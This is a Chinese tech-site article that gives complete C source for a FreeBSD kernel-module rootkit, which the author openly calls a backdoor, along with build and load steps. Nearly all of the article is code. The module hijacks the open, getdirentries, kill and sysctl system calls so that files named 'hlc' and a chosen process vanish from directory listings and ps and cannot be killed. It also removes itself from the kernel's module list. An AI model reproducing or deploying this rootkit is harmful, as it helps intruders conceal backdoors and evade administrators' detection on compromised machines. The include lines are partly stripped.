操作系统  办公  实用知识  设计  开发  WEB开发  移动开发  数据库  软件工程  网管  安全  管理  信息化  答疑  渠道 

kld的程序实现

2007-6-18 网友评论 0 条 点击进入论坛

 /*FreeBSD的kld就像Linux的lkm,能实现很多东西

linux下lkm的backdoor大鹰已经分析的很详悉了.

其实bsd下实现起来也差不多,只是代码的具体实现而已

最近把身心都给了bsd,所以也试着写点东西.把最近的感受

发泄一下撒,基础文章可以看小四的那篇freebsd kld编程指南

或者看/usr/share/examples/kld里面的列子,以及

freebsd的程序员开发手册.在/usr/share/doc/里面.

我的网站上有THC的那篇经典文章.如果要提高的话绝对不能错过.

*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include

/*这个宏是必需的,在内核空间分配空间必需先定义这个宏*/

MALLOC_DEFINE(M_NEW_SYSCTL,"p_data","struct");

MALLOC_DEFINE(HLC_DIR,"dir","struct");

/*要隐藏的进程名,可以是我们的后门进程拉*/

#define HIDE_PROC "sshd"

 

#define hidename "hlc"

#define hidelength 3

extern linker_file_list_t linker_files;/*谢谢cloud学长的指点*/

extern struct lock lock;

extern int next_file_id;

static int filehide(char*);

static int prochide(char*);

static void hide_module(void);

static int get_pid(void);

static int new_open(struct proc *,struct open_args *);

static int new_getdirentrIEs(struct proc *,struct getdirentries_args *);

static int new_sysctl(struct proc *p, struct sysctl_args *uap);

static int new_kill(struct proc *p, struct kill_args *uap) ;

/*

*后门module至少要实现隐藏目录,隐藏进程,隐藏网络和隐藏自己

*网络的隐藏还没有作出来,呵呵,学习中,大家稍等

*

*

*

*/


/*返回要隐藏的进程的pid*/

static int get_pid(void)

{

struct proc *p;

 

p=allproc.lh_first;

for (; p!=0; p=p->p_list.le_next)

{

if (strcmp(p->p_comm, HIDE_PROC)==0)

{

return p->p_pid;

}

}

return -1;

}

/* 隐藏我们的后门模块 */

static void hide_module(void)

{

struct linker_file * lf;

lockmgr(&lock, LK_SHARED, 0, curproc);

(&linker_files)->tqh_first->refs--;

TAILQ_FOREACH(lf, &linker_files, link) {

if (!strcmp(lf->filename, "airsupply.ko")) {

/*把加载的全局link file记数减一*/

next_file_id--;

/* remove the entry*/

TAILQ_REMOVE(&linker_files, lf, link);

break;

}

}

lockmgr(&lock, LK_RELEASE, 0, curproc);

}

/* 是否为要隐藏的文件或目录 */

static int filehide(char *name)

{

char buf[hidelength+1];

bcopy(name,buf,hidelength);

buf[hidelength]=''\0'';

if(!strcmp(buf,hidename))

return 1;

return 0;

}

/*是否为要隐藏的进程*/

static int prochide(char *name)

{

char hide[255];

sprintf(hide,"%d",get_pid());

if(!strcmp((char*)name,(char*)hide))

return 1;

return 0;

}

/*新的kill的系统调用*/

static int

new_kill(struct proc *p, struct kill_args *uap)

{

if (uap->pid==get_pid())

return ESRCH;

else

return kill(p, uap);

}

/*新的sysctl的系统调用*/

static int

new_sysctl(struct proc *p, struct sysctl_args *uap)

{

int error, i, mib[4];

size_t size, newsize, recsize;

struct kinfo_proc *p_data, *ptr;

error = __sysctl(p,uap);

error = copyin(uap->name, &mib, sizeof(mib));

if (error)

return (error);

/*

如果是用ps pid命令,pid为要隐藏的进程id的话,就返回空

*/

if((mib[2] == KERN_PROC_PID) || (mib[2] == KERN_PROC_ARGS))

{

if(mib[3]==get_pid())

{

size = 0;

copyout(&size,uap->oldlenp, sizeof(size));

return(0);

}

return 0;

}

error = userland_sysctl(p, mib, uap->namelen, uap->old, uap->oldlenp,

0, uap->new, uap->newlen, &size);

if (error && error != ENOMEM)

return (error);

 

if(!uap->oldlenp)

return(error);

 

newsize = size;

/*ps命令,隐藏我们的要隐藏的进程*/


if ((uap->old) && (mib[0] == CTL_KERN) && (mib[1] == KERN_PROC))

{

MALLOC(p_data, struct kinfo_proc *, size, M_NEW_SYSCTL, M_NOWAIT);

recsize = sizeof(struct kinfo_proc);

copyin(uap->old,p_data,size);

ptr = p_data;

i=size;

while(i>0)

{

i-=recsize;

if(ptr->kp_proc.p_pid==get_pid()) /*是否为要隐藏的pid*/

{

/*减掉要隐藏的进程信息的size*/

newsize -= sizeof(struct kinfo_proc);

 

if(i > 0)

/*去掉要隐藏的进程信息*/

bcopy((char *)ptr + recsize, ptr, (i - recsize));

}

if(i > 0)

ptr = (struct kinfo_proc *)((char *)ptr + recsize);

}


/* copy回用户空间 */

copyout(p_data, uap->old, newsize);


FREE(p_data, M_NEW_SYSCTL);

return 0;

}

return 0;

}

 

/*

*

*

*

*

*

*/

 

static int new_open(struct proc *p,register struct open_args *uap)

{

char name[256];

size_t size;

if(copyinstr(uap->path,name,256,&size)==EFAULT)

return(EFAULT);

if(filehide(name))

return(ENOENT);

return(open(p,uap));

 

}

/* 新的getdirentries的系统调用,可以隐藏我们自己的目录和/proc里面的后门进程号 */

static int new_getdirentries(struct proc *p,register struct getdirentries_args *uap)

{

int size,count;

struct dirent *dir,*current;

getdirentries(p,uap);

size=p->p_retval[0];

if(size>0)

{

MALLOC(dir,struct dirent *,size,HLC_DIR,M_NOWAIT);

copyin(uap->buf,dir,size);

current=dir;

count=size;

/*判断目录是否要被隐藏,要得话就把他从目录链表里面摘除,然后copy

回用户空间,这样就实现了隐藏目录*/

while((count>0)&&(current->d_reclen!=0))

{

count-=current->d_reclen;

if(filehide(current->d_name)||prochide(current->d_name))

{

if(count!=0)

{

bcopy((char *)current+current->d_reclen,current,count);

}

size-=current->d_reclen;

}

if(count!=0)

current=(struct dirent *)((char *)current+current->d_reclen);

}

p->p_retval[0]=size;

copyout(dir,uap->buf,size);

free(dir,HLC_DIR);

}

return 0;

}

static struct sysent new_getdir_sysent={

4,

new_getdirentries

};

static struct sysent new_open_sysent={

3,

new_open

};

static struct sysent new_kill_sysent={

2,

new_kill

};

static struct sysent new_sysctl_sysent={

6,

new_sysctl

};

static int load(module_t *module,int cmd,void *arg)

{

int error=0;

switch(cmd)

{

case MOD_LOAD:

{

printf("install kern ok\n");

/*替换系统调用*/

sysent[SYS_open]=new_open_sysent;

sysent[SYS_getdirentries]=new_getdir_sysent;

sysent[SYS_kill]=new_kill_sysent;

sysent[SYS___sysctl]=new_sysctl_sysent;

/*隐藏掉自己*/

hide_module();

printf("begin hide self\n");

break;

}

case MOD_UNLOAD:

{

/*恢复旧的系统调用 */

sysent[SYS_open].sy_call=(sy_call_t *)open;

sysent[SYS_getdirentries].sy_call=(sy_call_t *)getdirentries;

sysent[SYS_kill].sy_call=(sy_call_t *)kill;

sysent[SYS___sysctl].sy_call=(sy_call_t *)__sysctl;

break;

}

default:

{

error=EINVAL;

break;

}

}

return error;

}

static moduledata_t airsupply_mod={

"airsupply",

load,

NULL

};

DECLARE_MODULE(airsupply,airsupply_mod,SI_SUB_DRIVERS,SI_ORDER_MIDDLE);


/*Makefile 如下

SRCS=door.c

KMOD=airsupply

KO=${KMOD}.ko

KLDMOD=t

.include
*/

/*make

* 然后kldload ./airsupply.ko

然后你随便在哪里建一个名为hlc的目录.

然后ls试试看

*/

已有 0 位对此文章感兴趣的网友发布了看法    
我来评两句 用户名: 密码:
  匿名发表
今日推荐
技术文库(共有 45972 篇文章)
操作系统
办公软件
实用知识
网络管理
软件开发
WEB开发
软件工程
数据库
设计在线
信息安全
行业信息化
管理信息化
移动开发
重点推荐
电子杂志订阅
点击电子杂志名称查看样刊
输入E-mail地址即可订阅
E-mail